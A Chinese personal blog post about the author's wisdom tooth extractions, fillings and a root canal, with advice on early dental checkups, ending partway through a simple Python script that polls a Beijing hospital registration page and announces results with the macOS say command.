<p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;">今天不聊技术，来讲讲我这一年来的看病经历。生活是把杀猪刀，把我（这只后知后觉的猪）剁的稀碎。</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;">大学的时候，突然发现最里面的两颗牙齿黑黑的，怎么也刷不干净。跑到江苏省口腔医院挂了个号，才知道是<strong>蛀掉的智齿</strong>。</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;">当时还没意识到事情的严重性，想着反正是智齿蛀掉，也不疼不敏感，<strong>等以后有空了把智齿拔了就好</strong>。</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;">工作的第一年，挣扎在温饱线上的我，完全没顾上牙齿。</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;">工作的第二年，听说拔智齿可以瘦脸（冷漠脸，不存在的），就查了些资料，决定去拔智齿。</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;">先挂了北京口腔医院的号，拍完片子，确认下牙左右各有一颗阻生智齿。医生说我<strong>右侧临近蛀牙的磨牙也有轻度龋坏</strong>，建议先拔右侧的智齿（拔智齿创伤较大，拔完一周内无法用那一侧进食，所以只能先拔一侧）。</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;">以前在微博上看过拔智齿的视频，过程非常舒爽、流畅。</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;"><iframe class="video_iframe" data-vidtype="2" allowfullscreen="" frameborder="0" data-ratio="1.3333333333333333" data-w="640" data-src="https://v.qq.com/iframe/preview.html?vid=l05030gzic8&amp;width=500&amp;height=375&amp;auto=0" src="https://v.qq.com/iframe/preview.html?vid=l05030gzic8&amp;width=500&amp;height=375&amp;auto=0"></iframe><br/></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;">但真正体验的时候，只觉得医生在拿着 “楔子”、“锤子” 在砸我的牙，期间还伴随着 “电钻” 咯吱咯吱磨牙的声音。</p><p><img class="" data-copyright="0" data-ratio="0.58046875" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=1ce975d1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSfhB0IDvicQmnFs0p3WUuzEcETe6MHBz1ARjJib8jMea0PqdPviaJwzSyfPVRJrK5Rvia6akzW1YnUyWpuTCVEibHEQ%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;">折腾了半个多小时之后，医生终于把它拽了出来。</p><p><img class="" data-copyright="0" data-ratio="0.75" data-s="300,640" style="" data-type="jpeg" data-w="960" src="https://wechat2rss.xlab.app/img-proxy/?k=ee67346f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSfhB0IDvicQmnFs0p3WUuzEcETe6MHBz1lsLkNLeJXuHnHSWFYNwRJiashoCkRbJzjyckJkYgmkHtaEc0DJ98Y7Q%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;">再就是带着缝了一针的大洞（智齿的窝）和一盒止疼药、两盒消炎药回家了。麻药劲儿过去之后，疼的鼻涕眼泪口水一起流，还得小心的张嘴吞咽吃药（吞咽会有口腔负压）。</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;">磕着止疼药，挺(shua)尸(ju)了两三天。<strong>一周后拆线</strong>，就又活蹦乱跳了！</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;">一个月后，再次做好充分的心理建设后，我又挂了号。到了医院之后，才发现挂错了号。<strong>拔智齿属于口腔外科</strong>，而我莫名其妙的挂了牙体牙髓科...</p><p><img class="" data-copyright="0" data-ratio="0.8486997635933806" data-s="300,640" style="" data-type="jpeg" data-w="423" src="https://wechat2rss.xlab.app/img-proxy/?k=0ed45da0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSfhB0IDvicQmnFs0p3WUuzEcETe6MHBz1kiagy2VJZR3a2NvO85gsJJSYTbMdeKohUfD5UwO4IYhhAzsFu96RicyQ%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;">但俗话说得好：“来都来了”，干脆就先把龋齿补了！</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;">我就这样抱着 “从容赴死” 的心态，上了补牙的手术床，过程却出乎意料的轻松。只需要忍耐 “电钻” 的声音，不需要打麻药，也没有漫长的恢复过程，完全不影响吃饭！</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;">当然，如果上天再给我一次机会，我宁愿再经历三次拔智齿的痛苦折磨，也不愿意失去一颗健康的牙齿。毕竟<strong>牙齿龋坏是不可逆的过程</strong>，补牙虽然是很好的缓解方案，但并不是终生有效。</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;">一个月后，左侧的智齿也被 “处决“ 了。后来还去洗了一次牙，医生说牙齿没什么问题了。</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;">接下来的几个月里，我过着非常幸福快乐、想吃啥吃啥的日子。</p><p><img class="" data-copyright="0" data-ratio="1.0148148148148148" data-s="300,640" style="" data-type="jpeg" data-w="135" src="https://wechat2rss.xlab.app/img-proxy/?k=0f43700a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSfhB0IDvicQmnFs0p3WUuzEcETe6MHBz1hfVfwciaibAS07nIiciaZDfZVafE5PjL2o71XweJgmxv3GxzYgnpZJlk7Q%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;">直到今年三月份，左侧下方的牙齿<strong>开始有隐隐约约的疼痛</strong>。我网购了一枚医用小镜子，掰着嘴举着手电筒对着镜子照了半天，发现左下倒数第二颗牙、右上倒数第二颗牙都有点儿变色。</p><p><img class="" data-copyright="0" data-ratio="0.9974358974358974" data-s="300,640" style="" data-type="jpeg" data-w="780" src="https://wechat2rss.xlab.app/img-proxy/?k=b51ad20f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSfhB0IDvicQmnFs0p3WUuzEcETe6MHBz1duaIMFxuN0uQRawSQRWibruxECtbRym0p7OrvwU1T9Da4EU6N0bu7wA%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;">又挂了牙体牙髓科的号，温(ke)柔(hen)的男医生把我左下的几颗牙戳了戳，说<strong style="box-sizing: border-box;color: rgb(0, 0, 0);">没发现有龋齿</strong>，稍微有一点儿变色的那颗是脱矿，还不算龋齿，注意清洁就好。右上的确实是中龋，很快就补好了。</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;">补完牙之后，中午回公司附近吃饭，用左边嚼了一口热热的笋丝，<strong>疼得我一激灵</strong>。弱小无知又可怜的我，以为是牙龈发炎了。很快又挂了牙周科的号，医生检查一遍后，<strong style="box-sizing: border-box;color: rgb(0, 0, 0);">还是没发现问题</strong>。</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;">这一折腾就是两周过去，左边的牙齿不疼了，也没什么冷热刺激了。只是在用冲牙器冲到最后一颗磨牙的时候，会有一点儿腐败的味道。</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;">最近一段时间，工作上的事情烦心到飞起，牙齿又开始疼了，喝冷水热水都会觉得刺激。再次网购了一枚医用的双头探针。</p><p><img class="" data-copyright="0" data-ratio="0.9721518987341772" data-s="300,640" style="" data-type="jpeg" data-w="790" src="https://wechat2rss.xlab.app/img-proxy/?k=e8a29c06&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSfhB0IDvicQmnFs0p3WUuzEcETe6MHBz19jCcZuplNaItMEBic5VnvxhibclPPvEmFAL8CQx2gsCLmwU9RR3NRickQ%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;">然后！！探针竟然直接戳进了我左下大磨牙的侧面！！位置就像下图一样，<strong>一个很深很大的洞，其他面完全正常</strong>！！<strong>说好的没有龋齿呢</strong>！！！！</p><p><img class="" data-copyright="0" data-ratio="0.7826771653543307" data-s="300,640" style="" data-type="jpeg" data-w="1270" src="https://wechat2rss.xlab.app/img-proxy/?k=572fce9a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSfhB0IDvicQmnFs0p3WUuzEcETe6MHBz1SJaS68MmWnJOf9xnXWkibFfHnYribgRib5YLa4EmTz3VPmzGGQ3ja3p3g%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;">再次挂号，去医院拍了牙片，医生说<strong>90%的几率要做</strong><strong>根管治疗</strong>。开始磨牙，龋坏的部分还没去光，髓质已经暴露出来开始流血了(ಥ﹏ಥ)，然后就在我的颤抖中，医生开始了杀神经的流程...</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;">根管治疗还要复诊三四次。去掉了神经的牙齿，会变得特别脆弱，后面还要做牙冠保护起来。但使用期也有限，再过十几年，很可能连死掉的牙齿都保不住，需要做种植牙。</p><p><img class="" data-copyright="0" data-ratio="1" data-s="300,640" style="" data-type="jpeg" data-w="240" src="https://wechat2rss.xlab.app/img-proxy/?k=106180b2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSfhB0IDvicQmnFs0p3WUuzEcETe6MHBz1CFOA25fvhckGY68Auxq3exOKEMH95uibJ20CHicm707YhyEg90ckHTqw%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;">现在的我，左牙塞着慢性神经失活剂，寂寞的坐在电脑旁边，写下这么长长的一篇文章。想要用我自己的悲惨经历告诉各位：</p><ul style="list-style-type: square;" class=" list-paddingleft-2"><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;">阻生智齿一定要尽早拔</span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;">定期口腔检查，龋齿高危人群除了人工检查，请务必要求拍片检查</span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;">牙齿冷热敏感或者疼痛，一定尽快去医院（中龋，补牙省钱省心；深龋，根管治疗伤心伤身伤财）</span></span></p></li></ul><p><br/></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;">如果我早早的拔了智齿，如果我初高中的时候就开始矫正牙齿，如果我坚持饭后刷牙，如果我早意识到卫生死角的存在，如果三月份我坚持拍片检查...</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;"><strong>没有如果。</strong></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;"><img class="" data-copyright="0" data-ratio="1.1818181818181819" data-s="300,640" style="white-space: normal;" data-type="jpeg" data-w="55" src="https://wechat2rss.xlab.app/img-proxy/?k=59a9a936&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSfhB0IDvicQmnFs0p3WUuzEcETe6MHBz151lZcCAzTf1gY1ia5XSnLAyEFKibdeooYsjFtEiajicVOw9pUbk2zNlsew%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;"><br/></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;">北京挂号不易，附赠一个曾陪我走过艰难人生的<strong style="box-sizing: border-box;color: rgb(0, 0, 0);">挂号脚本<strong style="box-sizing: border-box;">。</strong></strong></p><p><strong style="box-sizing: border-box;font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;font-size: 16px;white-space: normal;"><strong style="box-sizing: border-box;"></strong></strong></p><pre class="prettyprint linenums prettyprinted" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 0px;padding: 8px 0px 6px;background-color: rgb(241, 239, 238);border-radius: 0px;overflow-y: auto;font-size: 10px;line-height: 12px;"><ol class="linenums list-paddingleft-2" style="list-style-type: none;"><li><p><strong style="box-sizing: border-box;font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;font-size: 16px;white-space: normal;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;font-weight: 400;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="com" style="box-sizing: border-box;color: rgb(156, 148, 145);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"># encoding: utf-8</span></code></span></span></strong></strong></p></li><li><p><strong style="box-sizing: border-box;font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;font-size: 16px;white-space: normal;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;font-weight: 400;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="kwd" style="box-sizing: border-box;color: rgb(102, 102, 234);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">import</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> requests</span></code></span></span></strong></strong></p></li><li><p><strong style="box-sizing: border-box;font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;font-size: 16px;white-space: normal;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;font-weight: 400;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="kwd" style="box-sizing: border-box;color: rgb(102, 102, 234);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">import</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> time</span></code></span></span></strong></strong></p></li><li><p><strong style="box-sizing: border-box;font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;font-size: 16px;white-space: normal;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;font-weight: 400;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="kwd" style="box-sizing: border-box;color: rgb(102, 102, 234);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">import</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> os</span></code></span></span></strong></strong></p></li><li><p><strong style="box-sizing: border-box;font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;font-size: 16px;white-space: normal;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;font-weight: 400;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"></code></span></span></strong></strong></p></li><li><p><strong style="box-sizing: border-box;font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;font-size: 16px;white-space: normal;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;font-weight: 400;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="str" style="box-sizing: border-box;color: rgb(123, 151, 38);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;&#34;&#34;</span></code></span></span></strong></strong></p></li><li><p><strong style="box-sizing: border-box;font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;font-size: 16px;white-space: normal;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;font-weight: 400;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="str" style="box-sizing: border-box;color: rgb(123, 151, 38);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">调用 mac 系统 say 命令实现通知，所以只支持 mac</span></code></span></span></strong></strong></p></li><li><p><strong style="box-sizing: border-box;font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;font-size: 16px;white-space: normal;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;font-weight: 400;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="str" style="box-sizing: border-box;color: rgb(123, 151, 38);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;&#34;&#34;</span></code></span></span></strong></strong></p></li><li><p><strong style="box-sizing: border-box;font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;font-size: 16px;white-space: normal;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;font-weight: 400;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"></code></span></span></strong></strong></p></li><li><p><strong style="box-sizing: border-box;font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;font-size: 16px;white-space: normal;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;font-weight: 400;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="kwd" style="box-sizing: border-box;color: rgb(102, 102, 234);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">def</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> check</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">url</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> name</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">):</span></code></span></span></strong></strong></p></li><li><p><strong style="box-sizing: border-box;font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;font-size: 16px;white-space: normal;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;font-weight: 400;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span class="kwd" style="box-sizing: border-box;color: rgb(102, 102, 234);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">try</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span></code></span></span></strong></strong></p></li><li><p><strong style="box-sizing: border-box;font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;font-size: 16px;white-space: normal;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;font-weight: 400;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        res </span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> requests</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span class="kwd" style="box-sizing: border-box;color: rgb(102, 102, 234);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">get</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">url</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> timeout</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span class="lit" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">8</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span></code></span></span></strong></strong></p></li><li><p><strong style="box-sizing: border-box;font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;font-size: 16px;white-space: normal;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;font-weight: 400;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span class="kwd" style="box-sizing: border-box;color: rgb(102, 102, 234);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">if</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> res </span><span class="kwd" style="box-sizing: border-box;color: rgb(102, 102, 234);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">and</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> res</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 